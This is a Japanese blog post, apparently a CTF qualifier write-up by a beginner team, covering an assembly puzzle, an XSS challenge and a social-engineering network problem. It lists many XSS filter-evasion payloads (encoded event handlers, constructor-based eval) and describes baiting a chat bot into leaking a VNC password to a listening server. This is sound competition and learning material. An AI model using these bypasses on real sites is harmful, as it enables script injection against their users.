etc...この広告は、90日以上更新していないブログに表示しています。オンライン予選Writeup今までブログやらインターネッツをあさるときはずっとROM専だったわけだが、せっかくCTFやるならブログやってみれば?とチームメンバにいわれ、やってきたことの備忘録も付けたいなーと思っていたところなので、書いていくことにする。オンライン予選にチームctpmとして参加してきた。ctpmは、去年の秋ぐらいに初めてCTFという世界に飛び込んで活動してきたチーム。昨年もSECCON2013には参加した(全国大会20チームのうち最下位...orz)。今回の結果は1000点で54位。これはヤバいなーと思い危機感がつのったけれど、良く捕らえれば刺激をもらえた大会だった。表示される数値を答えよ。ESP,8アセンブラを読み、そのとおりにプログラムを書いて実行すれば良い。0;}FLAGFLAG{32638}WEB箱庭XSSリターンズXSSで、"XSS"と書かれたalertボックスをひたすら出していく問題。一度入力した英数字は次回からは使えなくなる。"\"も使えなくなる。ループでalertを表示するような着想が得られなかったので、地道に解いていった。基本系を下のような形で利用する。decなどの表記で派生系を作りながら、禁止文字と被らないようにしていく。大会中つかったのは、以下のうち3種類程度。"><script>alert("XSS")</script>"onclick="alert('XSS')""onblur=`[]["push"]["constructor"]('alert("XSS")')()`"onchange="/AAA/['constructor']['constructor']('alert(\'XSS\')')()"onfocus="javascript:alert('XSS')"onmousedown="window['alert']('XSS')""onmouseup="parent['alert']('XSS')""onfocusin="top['alert']('XSS')""onPaste="eval('alert(\'XSS\')')"汚いから晒したくないのだけど、実際使ったものを一応貼っておく。"oncopy=`[]["AAAAAAAAAAAAAAAAAAAApush".slice(20)]["AAAAAAAAAAAAAAAAAAAAconstructor".slice(20)]('AAAAAAAAAAAAAAAAAAAAalert'.slice(20)+'("'+'AAAAAAAAAAAAAAAAAAAAXSS")'.slice(20))()`"onContextmenu=`[]["BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBpush".substring(31,35)]["BBBBBBBBBBBBBBBBBBBBBBconstructor".substring(22,33)]('BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBalert'.substring(31,36)+'("'+'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBXSS")'.substring(31,36))()`"onpaste=`[]["CCCCCCCCCCCCCCCCCCCCCpush".substr(21)]["CCCCCCCCCCCCCCCCCCCCCconstructor".substr(21)]('CCCCCCCCCCCCCCCCCCCCCalert'.substr(21)+'("'+'CCCCCCCCCCCCCCCCCCCCCXSS")'.substr(21))()`"onmouseleave=`[]["99999push".match(/[SXacehlmnoprstuvx]+/)]["99999constructor".match(/[SXacehlmnoprstuvx]+/)]('99999alert'.match(/[SXacehlmnoprstuvx]+/)+'("'+'99999XSS'.match(/[SXacehlmnoprstuvx]+/)+'")')()`"><script>alert("XSS")</script>"onfocus="&#x00006A&#x000061&#x000076&#x000061&#x000073&#x000063&#x000072&#x000069&#x000070&#x000074&#x00003A&#x000061&#x00006C&#x000065&#x000072&#x000074&#x000028&#x000027&#x000058&#x000053&#x000053&#x000027&#x000029"onmouseover="&#x0006A&#x00061&#x00076&#x00061&#x00073&#x00063&#x00072&#x00069&#x00070&#x00074&#x0003A&#x00061&#x0006C&#x00065&#x00072&#x00074&#x00028&#x00027&#x00058&#x00053&#x00053&#x00027&#x00029"onmousemove="&#x006A&#x0061&#x0076&#x0061&#x0073&#x0063&#x0072&#x0069&#x0070&#x0074&#x003A&#x0061&#x006C&#x0065&#x0072&#x0074&#x0028&#x0027&#x0058&#x0053&#x0053&#x0027&#x0029"onmouseout="&#x06A&#x061&#x076&#x061&#x073&#x063&#x072&#x069&#x070&#x074&#x03A&#x061&#x06C&#x065&#x072&#x074&#x028&#x027&#x058&#x053&#x053&#x027&#x029"onkeypress="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29"onclick="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041"ondblclick="&#000106&#000097&#000118&#000097&#000115&#000099&#000114&#000105&#000112&#000116&#000058&#000097&#000108&#000101&#000114&#000116&#000040&#000039&#000088&#000083&#000083&#000039&#000041"onmousedown="&#00106&#00097&#00118&#00097&#00115&#00099&#00114&#00105&#00112&#00116&#00058&#00097&#00108&#00101&#00114&#00116&#00040&#00039&#00088&#00083&#00083&#00039&#00041"onmouseup="&#0106&#0097&#0118&#0097&#0115&#0099&#0114&#0105&#0112&#0116&#0058&#0097&#0108&#0101&#0114&#0116&#0040&#0039&#0088&#0083&#0083&#0039&#0041"onkeydown="&#106&#097&#118&#097&#115&#099&#114&#105&#112&#116&#058&#097&#108&#101&#114&#116&#040&#039&#088&#083&#083&#039&#041"onSelectStart=`[]["hsup".split("").reverse().join("")]["rotcurtsnoc".split("").reverse().join("")]('trela'.split("").reverse().join("")+'("'+'SSX'.split("").reverse().join("")+'")')()`"onchange="/z/['\143onstructor']['\143onstructor']('\141lert'+'('+'\'\130SS\''+')')()"onselect="/q/['\143\157nstructor']['\143\157nstructor']('\141\154ert'+'('+'\'\130\123S\''+')')()"onblur=`[]["push"]["constructor"]('ale'+'rt("\170\163\163".toUpperCase())')()`"onmousewheel=`[]["pu"+"sh"]["const"+"ructor"]('al'+'e'+'r'+'t("X'+'SS")')()`6問目を解いたときと、20問目を解いたときに、それぞれFLAGが表示される。FLAG{dbe6Z7bdbpa3e7cdcccc5c0}FLAG{OO3auUR7e8712af065dBa6F}最終的に禁止文字種類は250近かったと思うwネットワークソーシャルハック?犯人を追い詰めろ!という問題文と、LINE風のチャット画面へのリンクが貼られている。ソーシャルハックを仕掛けてFLAGを取得するというもの。終了間際に気づいて、サーバ側で80番ポートでリクエストを待ち受ける。チャットでhttp://待ち受けサーバIPアドレス/test.pngとかやると、サーバに対してアクセスしてくれる。キャプチャイメージ追加リクエストUser-Agentを見ると、VNCのパスワードが記載されている。あとはここにVNCでつないで、FLAGを取得したら完了。思いきや、scoreサーバにFLAGを投入したところで時間切れとなりsubmitできなかった。このほかに、チームメンバがフォレンジック300でも惜しいところまでいっていたけど、それを取れていたとしても全国大会にはいけてなかったので、潔く次回の予選に向けて力を蓄えようと思う。このままでは前回のFinalの屈辱すら果たせなくなってしまうので、良い意味で緊張感を持って次回もチャレンジしたい。それはそうと、今回の箱庭XSSではイベントハンドラを探してくるのが大変だった。今回のinput属性で使えるものを調べたのをついでに載せておく。なくてほかのツールでパスワード解析しながらIDAさんでアセンブラ読んでたら時間切れになってしまった。zip解凍ぐらいまではいきたかったな...こういうのを解くための嗅覚とreverse力をもっと鍛えないと、と痛感した大会だった。~夏の陣~昨日まで、都内某所でpwn合宿に参加してきたのでその感想を。ropasaurusrex7/5(日)に、katagaitaiCTFに参加してきた。feedme月別アーカイブ参加グループテクノロジーセキュリティはてなブログをはじめよう!f_rinさんは、はてなブログを使っています。ブログを報告するスターをつけました引用をストックしましたストック一覧を見る閉じる引用するにはまずログインしてくださいログイン閉じる引用をストックできませんでした。再度お試しください閉じる限定公開記事のため引用できません。